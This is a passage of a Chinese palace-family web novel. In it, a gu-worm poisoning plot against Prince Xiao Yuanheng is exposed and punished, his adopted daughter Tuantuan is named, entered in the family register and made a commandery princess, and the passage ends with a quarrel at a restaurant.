那黑影从药丸的裂缝中爬出,脱离了束缚,在水中翻滚扭动,两端不停开合,似是在用力撕咬。 萧元华脸色大变,心中念头飞转,扑通一声跪倒在地:“嫂夫人!原来,我是被奸人骗了啊!多亏了郭太医医术精湛,识破骗局,才未铸成大错!“ “我这就去,将那奸人擒了,交给嫂夫人处置!” 程如安没有理他,对郭太医道:“辛苦郭老了,今日天色已晚,请郭老在府中客房暂住一晚,明日再回。来人,送郭老去厢房。” “多谢王妃。”郭太医行了个礼:“老夫能有幸精研此道,解得此药,多亏了小小姐这件宝物,烦请王妃将此物归还小小姐,老夫告退。“说完,将铃铛放在桌上,转身离开。 程如安看着铃铛,想起女儿,心中一片温暖柔软,若没有团团,府中这一团乱麻般的局面,真的是永无能解之日了。 郭太医走后,程如安才看了眼萧元华:“萧二。“ 萧二上前一步:“二爷,小人亲眼所见,这药丸是前日侧妃去您的府上交给您的。“ 萧元华脸色铁青,知道事情已经彻底败露,此时他哪里还顾得上方清研的死活,保住自己的命才最要紧:“嫂夫人!是她勾引的我!引诱我将这药献给王兄!“ “她说这是方府的老仆给她的,又用美色蛊惑我让我听她的,不是我找来故意加害王兄!嫂夫人不信,可让她来与我当面对质!“ “不是我想害大哥啊!嫂夫人!“ “若不是你早就想继承王府,对我这个大哥取而代之,她又如何能与你狼狈为奸?“萧元珩走了进来。 看到他身形魁梧,面色红润,脚步稳健,萧元华全明白了,他果然已经完全恢复了。 谋害长兄,图谋权位,何等大罪,若是萧元珩将自己交给官府,按律处置,那等待自己的,便是千刀万剐之刑了。 他连滚带爬地扑了过去,抱住了萧元珩的双腿:“大哥!弟弟错了,看在咱们血脉相连,兄弟一场的份上,大哥,求你饶了我吧。“ “你说呢?“萧元珩稳稳坐下,对着刚刚被下人押着走进来的方清研问道。 萧元华刚才的话,方清研在门口已经全听见了。 她脸色苍白,俯视着萧元华:“你个没刚性的下流坯子!自己卑鄙无耻,贪图权位,求我帮你,如今东窗事发却将事情全推在我身上!“ 萧元华不去看她,只死死抱着萧元珩的双腿不停哀求:“大哥!你不要相信她!是她!就是她勾引我做的!求你饶了弟弟吧。“ 萧元珩摆了摆手,萧二退了出去,片刻后,拖进来一个人,正是江远。 江远衣襟凌乱,浑身都是伤,脸上更是布满了一道一道的血痕。 方清研呼吸一滞,一颗心彻底沉到了谷底。 萧二把江远往地上一扔:“说!将你今日招认的一切,重新说一遍!“ 江远缓缓抬头,环视四周,目光在方清研的脸上停留了一瞬便躲开了。 萧二对他用了一天的刑,此刻他全身剧痛发热,早已吓破了胆。 他趴在地上不停地磕头,将一切都说了出来:“小人,小人是侧妃的表兄,与侧妃从小一同长大。她,她嫁入王府后便经常说,她本该是正妃,如今却只能做个妾室,居于人下。“ “所以,她,她勾引我与她苟合,让我找来毒药暗害王爷。“ “她允诺小人说,说只要王爷身故,二爷继承王府,便用同样的方法解决了二爷,然后,然后让我,让我接手王府的商行。“ “从此以后,我,我掌管商行,她坐镇内宅,王府的财富地位,便尽数归她所有。我,我也能自由出入王府,与她光明正大,双宿双飞了。“ “王爷!求您细想,若不是她告诉小人,小人哪里知道王府的事情啊!王爷!小人只是被她引诱蛊惑,又被她以给我生的女儿在她手中当做威胁,所以小人才不得不从啊!“ 江远此时已经豁出去了,横竖也是跑不了了,推给方清研越多,自己的罪责便越少,什么金钱,地位,女人,都不及自己的性命重要。 他猛地抬手一指方清研:“是她!都是她谋划了一切!王爷啊!她是王府侧妃,小人不过一介白衣!如何能够违逆?小人只是听命行事啊王爷!“ “求王爷明鉴!求王爷饶了小人的性命!“ 第33章 究竟是谁的女儿 此番话一出,第一个愣住的是萧元华。 他缓缓站起,走到方清研面前,震惊和愤怒令他满面通红,目露凶光:“原来,你勾引的不止我一个!你花言巧语百般诱惑,却只是想拿我当跳板!你居然还想害我?贱人!“ 抬起手,他用尽全力给了方清研一个耳光:“你这个贱人—! “啪!”一声脆响,方清研被他这一巴掌扇倒在地,摔倒在江远的身旁,江远一惊,急忙向一旁爬开了几步。 方清研嘴角慢慢的渗出了鲜血,鲜红的血液,蜿蜒流淌在她惨白的面颊上。 她抬手抹了下嘴角的鲜血,看着手上的鲜红一片,笑了出来:“哈哈哈……” 声音越来越大,笑得非常凄惨,却也异常畅快,但很快,笑声渐渐转为了哭声,逐渐弱了下去,变成了一片呜咽。 萧元珩面沉如水,程如安神色黯淡,满屋子的人都默默地看着她。 终于,萧元珩开口了:“将萧元华押进私牢,严加看管。” 萧元华心里一松:命保住了。 萧二挥了挥手,门外进来两个侍卫,将他押了出去。 萧元珩指了指江远:“把这碗水,给他灌下去。“ 江远大惊,还想求饶,萧二手疾眼快,抬手便卸掉了他的下巴,将桌上仍旧游动着蛊虫的水,全部灌进了他的口中,又等待了片刻,回手一扣,把下颌骨给他合上了。 江远趴在地上使劲抠着嗓子,想将蛊虫呕出,却已经来不及了,这蛊虫效力如何,他比谁都清楚,立时心如死灰,再也支撑不住,眼前一黑,栽倒在地。 “拖下去,关进私牢,每日茶饭不缺,让他也尝尝被蛊虫蚕食的滋味。你们都退下吧。“ “是!“萧二拖起江远,带着所有的侍卫,退出了养正轩。 “至于你。“萧元珩俯视方清研:”安儿,收拾出一间静室给她,终身不可出,让她在里面日日抄经忏悔。“ 程如安点了点头,看了方清研一眼:“是。妾身这便去安排。“说完便退了出去。 偌大的正厅中,只剩下了萧元珩和方清研两人。 方清研此时已安静下来,室内一片死寂。 萧元珩紧紧盯着她:“我只问你一句:姝儿,究竟是谁的孩子?“ 方清研猛地抬起头,与他对视,一双黯淡的眸子渐渐射出精光:“姝儿?你还记得起她?“ 她缓缓直起上身:“我父亲曾经位列三公!我是嫡女!本该是我做这王府的主母!若不是因为他获罪被贬,我又如何只能做了你的妾室,天天看着程如安的脸色度日,凭什么!“ “我看她的脸色也就罢了,我的姝儿就因为是我生的,便只能是个庶女,也要看她的脸色!又凭什么!” “我的孩子,就应该是嫡出!我想给自己挣个前程有什么错?我想让姝儿不是庶女而是嫡女,又有什么错?” 萧元珩眉头微蹙:“自你进府,安儿从未苛待过你……” ”我不稀罕!“方清研大声地吼了出来:”谁稀罕她的惺惺作态!我自幼金尊玉贵,用不着她来施舍!“ 萧元珩摇了摇头:“你真是无药可救,我没功夫听你胡言乱语, 就问你最后一次,姝儿,究竟是谁的孩子?“ 程如安悄悄走了进来:“王爷,安排妥了。 方清研缓缓站起,挺直了腰背:“我都不知道她是谁的孩子!要杀要剐,悉听尊便。“ “来人,带她去吧。“程如安摆了摆手,刘嬷嬷带着两个下人,将方清研带了出去。 方清研跟着她们,来到了王府角落里的一个狭小的房间,里面仅有一桌,一椅,一床。 桌上摆好了一摞经书,经书旁,笔墨纸砚一应俱全。 随着大门合拢,门锁在外面“咔嚓”一声落下,方清研这才浑身瘫软地坐在了椅中。 她拿起一本经书,无意识地用手指慢慢摩挲,低声喃喃:“姝儿,你爹是注定活不成了。如今哪怕我发誓赌咒,王爷也不可能相信你是她的女儿了。” “所以,娘才那样跟他说,只有他无法确定你是不是他的女儿,才会对你网开一面,你才能不被娘牵连。” “娘筹谋数年,却一败涂地,我可怜的姝儿,娘以后,都护不了你了。”泪水缓缓滑落,一滴一滴地落在了经书上。 此时,萧元珩和程如安已经回到了内室。 程如安宽慰丈夫:“方清研的话,王爷莫要放在心上,姝儿本性并不坏,如今离了她,倒是件好事。我多派几个教养嬷嬷去凌霜阁,好好教导就是。” 萧元珩点了点头:“内宅之事,你处置即可。今日辛苦你了。“ 程如安笑得温柔:“不辛苦,只要王爷和孩子们都身子康健,家宅平安,我多辛苦都是乐意的。二爷……便这样一直关着?“ 萧元珩眉头微蹙:“元华自幼心高气傲,不甘在我之下,但即使没有我,他只是庶出,又身无寸功,若无人帮扶,这宁王的封号也不可能落在他的头上。 “所以我想,他身后必定还有旁人。郭太医既然说蛊虫无毒,那我中的毒又是什么?从何而来?这些恐怕都要问了他方能知晓。” “他自幼娇生惯养,吃不得苦受不得罪,便先关他些日子,磨磨他的性子,再细细盘问。团团既然说了,他不是王府血脉,那这里面的事情,恐怕并非夺嫡那么简单。“ “先不必理他。“萧元珩面色郑重:”安儿,团团的来历,要有个冠冕堂皇的说法才行,否则即使有嫡女之名,在外面,也依旧会被人诟病。“ “王爷的意思是?“ “此事我已想了多日,如今府中的事情已了,明日我便进宫,给团团请封郡主。“ “五年前,恰好我出征平叛,你的性子,又最是安静,平日里不爱结交旁人。“ “正好这样:就说我走后你方知已有身孕三月有余,因我在外征战,因此并未声张。 “团团出生之后,恰逢一大师云游经过,占了一卦,说团团体弱,且与王府八字不合,若想平安长大,必须送到别处,养到5岁之后方可抱回。” “如今时日已满,故于今岁将其接回。安儿,你觉得如何?” 程如安一脸惊喜:“王爷所言甚是!如此一来,团团就不再是来历不明了,既是我亲生,这嫡女的身份名正言顺,再无人有何异议了。” “只是……”她微微皱眉:“王爷苏醒前,团团已入府多日,方清研母女又一直容不下她,恐是,这京城中,已有不少人都听说过团团是我捡来的,这……“ 萧元珩眼睛一瞪:“那又如何,谁敢质疑,尽管来王府当面与我分辨!“ 程如安笑了:“是是是,是我多虑了,如今王爷已醒,那些人自是不敢再嚼什么舌头了。” 萧元珩继续道:“明日,我便进宫,觐见圣上,将此事禀明,为团团请封个郡主的头衔,我萧元珩的嫡女,理应有此尊荣。今后与那些皇亲国戚们相处,岂能让团团低人一头。” 第34章 马不停蹄的爹爹 程如安默默点头:“好,都依王爷。” “不过王爷,既然要为团团请封,总该有个正式的闺名才是。” 萧元珩一怔,不禁拍了下脑门:“我心急了,确实如此,团团不能总叫团团,封赏的圣旨上,也是要写闺名的。” “王爷,团团她……与旁人不同,这闺名,我等世俗之人,不好妄断,不如,明日咱们一同带着她去拜见国师?由国师给她定名。“ “国师若肯,一来彰显尊贵,二来跟团团出生的说辞也更加贴合,旁人便更不敢多言了。“ “还是你想得周到,也罢,明日先带团团去拜见国师,有了闺名后,再带她祭祖入谱,而后我再去给她请封不迟。“ 两人商量定了,方一同歇下,时隔两年多,终于又能同榻而眠,这一觉直睡到了将近正午。 睡醒后,程如安吩咐给团团换上一身外出的衣裳,带到养正轩来。 团团一进门,就扑到她怀里:“娘亲!你怎么才醒啊!我睁眼都没看到你!“ 程如安俯身搂住她:“娘亲在爹爹这里啊!看,爹爹好看吗?“ 萧元珩一身硃色衮龙袍,头戴翼善冠,衣冠整齐地走了进来。 团团仰起小脑袋,目瞪口呆地看着自家爹爹。 哇哇哇!爹爹今日,真威风啊!本来就好看,现在这头发,这衣服,简直好看得不得了! 萧元珩看了一眼女儿的小模样,微笑着将她抱了起来:“小乖乖,喜欢爹爹这个样子吗?“ 团团伸出小手,轻轻地摸了摸他的发冠,又摸了摸袍子上的蟒纹:“好看!太好看了!爹爹,你怎么能这么好看啊!“ 两个大人闻言,都不禁莞尔。 萧元珩道:“因为团团好看啊!爹爹当然也要好看才配得上我的小团团嘛!“ 团团开心地把小脑袋贴在他的脖颈里:“嗯嗯!“ 一家三口一起用过了午膳,上了马车,来到了国师府。 宁王大驾亲临,下人们不敢怠慢,急忙将他们请进了正厅。 片刻之后,国师楚渊走了进来。 萧元珩道明来意,楚渊点了点头,目光落在团团身上。 团团坐在爹爹的腿上,歪着小脑袋也看着他:“你是谁啊?” 楚渊微微一笑:“我乃尘世一凡人。“ 团团眨了眨眼睛:“凡人是什么啊?“指了指自己:”我也是凡人吗?“ 楚渊没有答话,默默地看着她,目光闪动,眼神复杂。 夫妻二人心里一震,紧紧盯着楚渊。 半晌,楚渊看向程如安:“若贫道所料不错,上次王妃拿给我的断福蛊,便是这位小施主发现的罢。“ 天眼道人果然名不虚传!只是不知,他还看出了什么。程如安勉强压住心里的惊诧,点了点头。 楚渊又看向萧元珩:“王爷主意已定?欲将这位小施主立为亲生嫡女?“ 萧元珩正色道:“是,不知国师是否肯给小女赐名?“ 楚渊点了点头:“机缘如此,贫道只可顺天而行。从此小施主便姓萧,名宁昭吧。“ 程如安问:“昭字,何解?“ 楚渊轻轻答道:“天道昭昭。“ 二人对视了一眼,没再深问,命团团给楚渊行礼谢过了赐名之恩,登上马车回到了王府。 走进王府,两人分别领着团团的一只手,径直来到了祠堂。 走之前程如安已经命刘嬷嬷安排好了一切,此时,老夫人,萧宁辰,萧宁珣都已经穿戴整齐,等在祠堂中了。 团团看见他们开心地跑了过去:“祖祖!二哥!三哥!你们都来啦!” 萧宁珣将她一把抱起:“对啊!我们都在等团团!一会儿呢,团团要乖乖地跟着大家,给祖宗们行礼。” 团团一脸疑惑:“三哥哥!我给祖宗们磕过头了啊!又要磕吗?” 程如安走上前,给她耐心解释:“对啊!因为团团今天有了闺名啦,要把团团的闺名告诉祖宗,还要把团团的闺名写在族谱上。” “族谱是什么?” “就是一本册子,上面有祖宗们的名字,还有咱们全家人的名字。祖母,爹爹,娘亲,几个哥哥们的名字都已经在上面啦!团团愿不愿意把自己的名字也写在上面呢?” 团团想了想,很认真地点了下头:“愿意。” “真乖!来,下来吧,给祖宗们磕头行礼。” 老夫人冲着顺姑点了下头,顺姑会意,走到祠堂外,带着下人们鱼贯而入,将太牢三牲和五果六斋整齐地摆在案上。 萧元珩上前焚香,奠酒,下跪行礼,众人在他身后依次跪拜。 萧元珩神情肃穆,声音清亮:“列祖列宗在上,不肖子孙萧元珩,今率阖族,奠献于前。“ “仰惟祖宗之德,佑我门楣,今有小女萧宁昭,毓秀钟灵,谨请录名入谱,永承禋祀,伏惟尚飨!” 老夫人恭敬地请出锁在神龛中的族谱玉册,置于香案上。 萧元珩亲自执笔,在族谱自己和程如安的名字下方,工工整整地写下了团团的闺名,萧宁昭。 他抱起女儿,用手指着刚刚写上的三个字:“团团,你看,这便是你的名字,萧宁昭,爹爹已经写在族谱上啦!团团高兴吗?” 团团盯着自己的名字,原来这就是我的名字!可是,她的眼神开始四处寻找:“哥哥们的名字在哪儿呢?” 萧元珩手指上:“在这里,看,萧宁远,萧宁辰,萧宁珣。” 团团放心了:“好哎!我跟哥哥们在一起!” 萧宁辰和萧宁珣听见后唇角都压不住了,妹妹真好,总是惦记着哥哥。 仪式结束,程如安吩咐:“今日阖府上下,皆赏三个月的份例!” 下人们听了,也都欢喜非常。 萧元珩将团团放到萧宁珣怀里:“带你妹妹去玩玩罢,今儿她一直拘着,估计也闷了。” “是,父亲。”兄妹三人开开心心地跑走了。 萧元珩换了轿子,马不停蹄地来到了皇宫,萧二递出腰牌:“烦请传告:宁王萧元珩求见陛下。” 守门的官员不敢怠慢,立时将腰牌传了进去,不多时,一名太监快步走出宫门高声宣唱:“陛下有旨,宣宁王觐见!” 那太监满面笑容,上前一步:“王爷万福!陛下有旨:‘宁王大病初愈,特恩赏乘轿入见,免其劳顿。’轿子已备好了,王爷,您请!” 萧元珩点了点头,从自家轿子走出,钻进了皇帝御赐的轿辇。 萧二上前一步,将一个红包塞到了那太监的袖筒中:“有劳了,公公。“ 那太监眉开眼笑地谢了,随着轿辇来到了皇帝日常起居所在的紫宸殿外:“王爷,到了,您请。“ 第35章 震动京城 萧元珩大步走入紫宸殿,皇帝萧景昀一身常服,正坐在案后看着奏折。 萧元珩下跪叩拜:“臣萧元珩,参见陛下!“ 萧景昀放下奏章:“快快请起,赐坐,上茶。“ 站在他身旁的御前总管太监程谨言程公公急忙走过去,双手将萧元珩搀扶起来,给他搬来锦凳:“王爷请起,陛下前日还念叨您呢,可是牵挂得紧。“ 萧元珩坐下:“多谢陛下。“ 萧景昀仔细看着他:“皇叔,今日面色不错。” “托陛下洪福,臣已痊愈。臣今日前来,是有一事想求陛下恩准。” “皇叔请讲。” “请陛下给臣的嫡女钦赐郡主头衔。” 萧景昀有些奇怪:“朕若是没有记错,皇叔膝下并无嫡出子女。这位嫡女是?“ “陛下所记不错。臣的嫡女团团,生于五年前臣外出平叛之时。“ 萧元珩不慌不忙,将与程如安商量好的那番说辞,以及团团进了王府后,王府内的诸多变化简单说了一遍。 “今日,小女团团已蒙国师赐名萧宁昭,记入族谱。因此,臣才特意进宫来为她求个封赏。“ “团团?”皇帝微微一笑:“这乳名听着甚是可爱。国师竟肯亲自赐名?皇叔这位嫡女不同一般啊。” 他顿了顿:“当真是,自她入府,宁王府便一切顺遂?” 萧元珩正色道:“正是。如今不但臣的母亲眼疾痊愈,臣的二子,三子身上宿疾见好,就连臣自己的身子,都已经恢复如初了。“ 皇帝微微一笑,并未将他的话放在心上,只当是自己这位皇叔宠爱幼女,才将所有的好事都算在她的头上:“如此甚好。” “既是皇叔嫡女,又得国师赐名,理应赐封郡主。” 萧元珩起身行礼:“谢陛下。” “不必多礼。皇叔身子痊愈,本就是大喜,如今父女团聚,更是喜上加喜,传旨,命礼部拟旨,多备赏赐,明日随圣旨一同送至宁王府。” 萧元珩再次叩谢:“谢陛下隆恩,臣告退。” 皇帝摆了摆手,语气随意了些:“皇叔闲暇时,记得带她进宫走走,让朕也见见这孩子。” “臣遵旨。”萧元珩说完,恭恭敬敬地退了出去。 次日一早,王府门前张灯结彩,红毯铺地,香案陈列,一家人都在等着圣旨的到来。 巳时刚到,程公公便带着一队小太监来了。 萧元珩带领全家一齐跪拜接旨。 程公公展开怀中圣旨,高声宣读:“奉天承运皇帝,制曰, 宁王嫡女萧宁昭,幼而聪慧,钟灵璇室,册封为嘉佑郡主。” “另赐:赤金累丝头面全副,东海明珠一斛,云锦、蜀锦各二十匹,紫檀木雕花嵌玉屏风两架,并田庄两处,计一千八百亩。“ 萧元珩道:“臣携全家,叩谢皇恩!“ 程公公将圣旨交予萧元珩:“王爷痊愈,陛下甚是欣喜。王爷得空,不妨多来宫中走动走动。“ 萧元珩心中一动,这位程公公已年近五旬,是先帝留在今上身边的老人儿,于宫中浸淫数十载,他说的话,往往都颇有深意。 “谢公公提点,本王知道了。“ “王爷客气了。“程公公又从身后小太监手中取过郡主的金册金印递到他手里,笑眯眯地问:“哪一位是嘉佑郡主?“ 程如安连忙领着团团走了过来。团团仰起头,好奇的望着他:“娘亲!这个老爷爷是谁啊?” “不敢当郡主一声爷爷,喊我翁翁就好。”程公公从袍袖中掏出一只小匣子递到她手里:“这是杂家送给郡主的小玩意儿。” 程如安连忙道:“程公公有心了,团团,快谢谢翁翁。” 团团双手攥着那小匣子,非常乖巧地行了个礼,仰起小脸蛋,笑得酒窝深深,奶声奶气地说了一声:“谢谢翁翁,翁翁送团团礼物,团团很高兴。” 程公公被她萌得心头一颤:“哎呦这孩子!真是灵透!” 团团笑得更甜了:“翁翁别走,等等我。”说完转身向府内跑去。 萧宁珣马上跟着她也跑了进去。 不多时,两个孩子出来了,团团惦着脚尖,把刚才那个小匣子捧到程公公手中。 “这是娘亲给我做的桂花糕,特别好吃,可甜啦!翁翁多吃些,这个盒子太小,装不下了,下次翁翁带个大盒子来,我再给你拿!” 程公公喜欢得不行:“怨不得王爷疼爱,杂家也是头一次见到郡主这般乖巧的孩子!” 萧元珩微笑着摸了摸女儿的头:“团团真乖。” “王爷有福了。”程公公给宁王夫妇行了礼,带着一众小太监离开了。 不过才几个时辰,御前总管太监亲临宁王府宣旨的消息就如同生了翅膀一般,传遍了大街小巷,各个角落。 “听说没有?宁王醒了!不但醒了,还跟从前一样,神采奕奕!” “可不是嘛!今儿可是好多人亲眼瞧见的!宁王跟没事人儿一样,什么病都没有啦!“ “那可是大喜啊!当年若不是宁王浴血奋战,守卫边疆,咱们哪有现在的太平日子过!“ “今儿一早,宫里的太监就去宁王府宣旨了呢!“ “圣上有旨?什么旨意?” “我正好经过,听了一耳朵,好像是给宁王的嫡女封了郡主!” “宁王嫡女?宁王不是只有一个庶女吗?” “听说啊,是生下来就养在外面了,如今才抱回来没多久。” “对对!我也听说了,他家下人都传遍了,自从这个小嫡女回来后啊,宁王就醒啦!福气得很!” “那可真是个福星!宁王这病可是好些年都没治好呢。” “可不是嘛!这小嫡女的名字,听说还是国师赐的呢!国师哎!” 一时间,宁王痊愈,嫡女回府,陛下钦赐郡主的消息,无人不知,无人不晓,震动了整个京城。 整个王府,因为这几件大喜事,从上到下,兴高采烈,欢喜非常。 只有一个院落,冷冷清清,毫无喜气,正是凌霜阁。 凌霜阁并未解禁。 自从方清研被关进了静室,程如安就给萧宁姝拨了好几个教养嬷嬷过来,每日不停,悉心教导。 萧宁姝向见到的每个人苦苦追问方清研的下落,得到的回答全都是,侧妃娘娘身子不好,已迁居别处静养,四小姐不必担心。 娘根本就没有病!一定是出事了。 可是,出什么事了呢? 海棠和春桃都被派到了外面做粗活,每日除了轮番来教导她的几个教养嬷嬷和两个眼生的小丫头,从前凌霜阁的下人,都不见了。 萧宁姝在焦急,恐慌,终日难安中,听到了下人们的私下闲聊:“小团团就是招人疼!王爷昨日进宫,今儿一早圣旨就来了,封了那叫什么,对了!嘉佑郡主!” “可不是呢!说来也真是啊,自从团团来了咱们府上,这喜事是一桩接着一桩,王爷都没事儿了!这个郡主啊!封得好!” “可不是嘛!你们就算算,自她来后咱们都领了多少回赏钱了!真是托了那孩子的福!” 萧宁姝越听越是愤怒,胸口像被一只无形的大手狠狠攥住了,一股滚烫的火焰从里面迸出来,烧得她喉咙发紧,舌尖都尝到了铁锈的腥气。 她死死抠住桌角,指甲几乎都要折断,一个字,一个字地从牙缝中轻轻挤了出来:“嘉,佑,郡,主。” 第36章 有人抢我的菜! 傍晚时分,宁王府为团团准备的家宴开席。 全家围坐在桌边,“哇!好多好吃的!“团团看着一大桌子的菜,笑得脸上的酒窝都深深地陷了下去。 “来,先尝尝这个,这道菜是祖祖特意吩咐做给你吃的。“程如安夹了一筷子,放到了团团面前的碟子里。 团团乖乖地吃了:“好香啊!祖祖真好!谢谢祖祖!“ 老夫人笑得合不拢嘴:“团团喜欢就好!爱吃就多吃些。“ “嗯!“团团使劲点头。 “再吃口这个,这是我亲自下厨给你做的,团团做了郡主,娘亲可高兴啦!“ “好!“团团想起来了:”娘亲!郡主是什么东西啊?“ 程如安一边将更多的好吃的夹到她的眼前,一边耐心地给她解答:“郡主呢,是个头衔,就像爹爹的头衔叫做宁王,团团现在的头衔呢,就叫嘉佑郡主。“ 团团指了指自己:“嘉佑郡主就是我!“ “对啦!这个头衔呢可不是谁都有哦!是爹爹去跟皇上说,团团呢,是咱们王府的嫡女,皇上开口,团团才成了嘉佑郡主。“ “哦——!“团团懂了,她从椅子里滑到地面,来到父亲面前,爬到他的腿上,萧元珩连忙伸手把她扶住。 团团搂着他的脖子,在他的脸上吧唧亲了一口:“爹爹真好!谢谢爹爹!” 萧元珩抱着她,眉开眼笑。 萧宁珣冲团团招了招手:“团团,来三哥这儿,三哥喂你吃鱼,刺都择好啦!” 团团一听,颠颠儿的又跑到了三哥的怀里。 萧宁辰皱了皱眉:“你择干净没,别扎着她。” 团团吃了一大口三哥为自己择的鱼肉:“不会的!二哥哥!” 就这样,团团不停地在几个人身边跑来跑去,一家子大人你喂她一口,我又喂她一口。 门外传来了下人的声音:“陆家二公子派人送来请柬,正在门外候着,等着回信儿。“ “拿来。“萧宁辰接过请柬,念了出来:”明日午时,于碎金阁设薄宴,庆贺团团册封嘉佑郡主之喜。恭请宁王府尊亲,共襄喜乐。陆清嘉敬上。“ “陆二!小话梅!“团团听到陆清嘉就想到八哥鸟小话梅,马上喊了出来。 萧宁辰哼了一声,“胡闹!怎么能带团团去碎金阁那种地方!“ “碎金阁是什么地方,好玩吗?二哥哥,我不能去吗?“团团一脸疑惑。 “碎金阁啊,是京城最大,最豪华的一个酒楼。二哥,团团帮过陆二,陆二很喜欢她,不妨事的,我带她去。“萧宁珣对妹妹毫无抵抗力,见她满脸好奇,马上主动请缨。 “不成!碎金阁那地方那么大,人又多,鱼龙混杂,这个陆二!在他府上设宴不久行了,偏挑了这么个地方!“萧宁辰坚持不同意。 下人接口:“陆府来的人说了,他家二少爷已经订到了明日的碎金羹,还请郡主务必出席。“ “难怪,陆二有心了。旁的也就罢了,这碎金羹确是难得。“程如安点了点头,做了主:”告诉来人,明日郡主准时赴宴。“ “是。“ 她看向萧宁辰:“不必担心,明日让珣儿带团团去,那碎金羹团团还没有吃过,去尝个鲜儿吧。” “碎金……什么羹?”团团没有听懂。 程如安给她解释:“碎金羹是碎金阁的招牌菜,用料考究,制作繁复,每日仅得一小瓮,分盛不过三五盏,味道鲜美无比。“ “陆二为了庆贺你获封郡主,竟然订到了这个,也是不易。” 团团听到鲜美无比,不禁咽了口口水:“咱们一起去嘛,好不好,娘亲?祖祖,爹爹,娘亲,二哥和三哥,都去!” 程如安笑着摇头:“咱们一家人若是都去,那碎金羹可就不够分啦!明日是陆二的宴席,你三哥陪你去就行了。” 萧元珩问儿子:“辰儿,你的腿如何了?” 萧宁辰道:“已恢复了十之七八,母亲的意思,待完全好了,我再出门走动。” 萧元珩点了点头:“理应如此,我也不放心你此时便出门。” 团团走到萧宁辰身边,心疼地摸了摸他的双腿:“二哥哥的腿还在痛啊?”对着他的双膝吹了口气:“团团再吹吹,痛痛快飞飞。” 萧宁辰心中大动,将妹妹一把抱起放在腿上:“二哥哥的腿已经不痛啦!只是还需要些时日才能完全恢复罢了,团团不用担心,来,二哥给你夹这个,再吃一口。” 团团张开小嘴吃了,看着二哥,甜甜地笑了。 次日正午,碎金阁。 碎金阁临河而建,伫立于繁华街市的一隅。 其形制并非寻常酒楼一般的飞檐翘角,反而更近于碉楼,楼高足足五层,向上收分,愈高愈显孤峭。 门前高悬着一盏巨型琉璃灯,豪气非常,是皇亲国戚,达官贵人们经常设宴请客的地方。 大门左右各挂了一幅字:“疏影横斜水清浅,暗香浮动月黄昏” 团团仰着小脑袋,看向那琉璃灯:“好大哦!亮闪闪的,真好看!“ 萧宁珣把她抱起来,让她能看得更清楚:“琉璃可是难得的东西,一小块就价值不菲了。这盏琉璃灯如此之大,京城中仅此一个。“ 跑堂的小二迎了出来:“请问贵客是?“ 萧宁珣道:“宁王府,嘉佑郡主。” 那小二连忙行礼:“原来是嘉佑郡主驾到,小店蓬荜生辉!陆家二少爷已经在楼上等候多时了,小人名叫十一,有什么吩咐您尽管开口,二位请随我来。” 萧宁珣抱紧了妹妹,跟着十一上了五楼,走进了一个叫浮光厅的雅间。 “小盟主!你可来啦!”陆清嘉一看到团团,马上站了起来,伸手就想从萧宁珣的手里将团团接过去。 “陆二!小话梅呢?”团团见他向自己伸手,也展开小手准备爬过去找小话梅。 萧宁珣一扭身,让两人的手都落了空,抱着妹妹稳稳地坐在桌边的锦凳上,瞪了他一眼:“老老实实坐着吧你!” “扑哧”,白简行笑出声来:“小盟主可是萧兄的眼珠子,他能给你抱?” 陆清嘉讪讪地笑了笑:“小盟主那么可爱,我只是想抱一抱嘛!小话梅刚刚飞出去玩了,一会儿就回来。” 团团撅了撅嘴:“又没见到小话梅!“ 萧宁珣见了,赶紧岔开话题:“追风如何了?“ 陆清嘉还没张口,白简行抢了先:“那天的马球赛,追风可谓一战成名!现在啊,好多人都求着陆二,想试试骑上追风的感觉呢!“ 团团拍着小手高兴起来:“追风最棒啦!“ 萧宁珣微微一笑,没看见小话梅,一提追风就好了,妹妹真是好哄。 见人都到齐了,陆清嘉冲着门外喊了一声:“十一!上菜!把碎金羹端上来!” 十一在外面答话:“好嘞!五楼浮光厅,上碎金羹!“ 团团好奇地打量着周围,外面的日光透过窗棂洒进来,屋内全是细碎的光影,如梦似幻,好看得不得了。 团团伸出小手,那些细碎的光影马上也散满了她的小手:“哇哦!真好看!三哥哥!“ 萧宁珣给她解释:“这碎金阁的名字呢,就取自你看到的这个景儿,它用彩色的琉璃代替了部分窗子,所以呢,无论是日光还是月光照进来,都有如被筛子筛过,光影如同一地碎金。” 正说着,小话梅从雅间的窗户里飞了进来:“来啦!来啦!” 团团兴奋地举着双手去接它,小话梅围着团团的头顶飞了几圈,稳稳地落在了她的手上。 团团抱着小话梅,给它轻轻地梳理着羽毛:“小话梅!我好想你哦!” 几个人闲聊了半晌,十一仍旧没来上菜。 陆清嘉皱了皱眉:“今日这菜怎么上得这么慢!“站起身推开了雅间的门。 一个熟悉的声音传了进来:“陆二先订了又如何?今天这碎金羹我要定了!“ 第37章 打起来啦 陆清嘉抬眼一看,十一手中托着食盘,被拦在了楼梯的拐角处,而拦住他,正在说话的竟然是韦秉安。 两人原本也是曾经常在一起的玩伴,但韦秉安作为镇国侯府庶子,更喜结交同是王侯阶层的子弟,认为将来可以相互提携、彼此倚仗。 因此跟周景安一流越走越近,陆清嘉自此也就跟他疏远了。 没想到,今日却在碎金阁撞见了,居然,还要抢他早就提前预订的碎金羹! 陆清嘉也没客气:“韦三!你干什么?知道是我订的,你还抢?“ 团团听见了,问哥哥:“韦三是谁啊?“ “就是在万灵苑里,用兽玲吓唬雪豹的那个。“ 团团想起来了:“啊,是那个坏蛋!“ 韦秉安看了陆二一眼,半点没让开:“是你定的又如何,小爷我今日宴客,要定了这碎金羹!” “你一个吏部侍郎之子,敢跟我镇国侯府争?“ 陆清嘉嗤笑一声,毕竟曾经常在一起过,他对镇国侯家的事情了如指掌:“你不过是镇国侯的庶子,在家里说话都没人听你的,装什么王侯子弟!“ 韦秉安登时一张脸涨成了猪肝色:“闭嘴陆二!你胡说八道什么!“ 白简行听见陆清嘉在跟人斗嘴,哪里还坐的住,出来帮腔:“韦三!我们先订好了的!你想要,自己订啊!抢别人的算什么本事!“ 陆清嘉不耐烦了:“十一!给我端过来!你若是敢将这碎金羹上到别人桌上,小爷我一把火烧了这碎金阁!“ 五楼是碎金阁的顶楼,仅有两个雅间,韦秉安所站地方正是另一个雅间的门口。 只见大门一开,走出了几个纨绔少年:“韦三!今日你这话说得可是托大了,还说请我们尝碎金阁的招牌呢。“ 几个人往这边张望了一眼:“看来,今后你的席面我们可不敢轻易来了,菜都端不上来。“ 韦秉安闻言顿时急了,这不是当着众人削了他镇国侯府的面皮嘛!“谁说端不上来,十一!给我端进来!“ 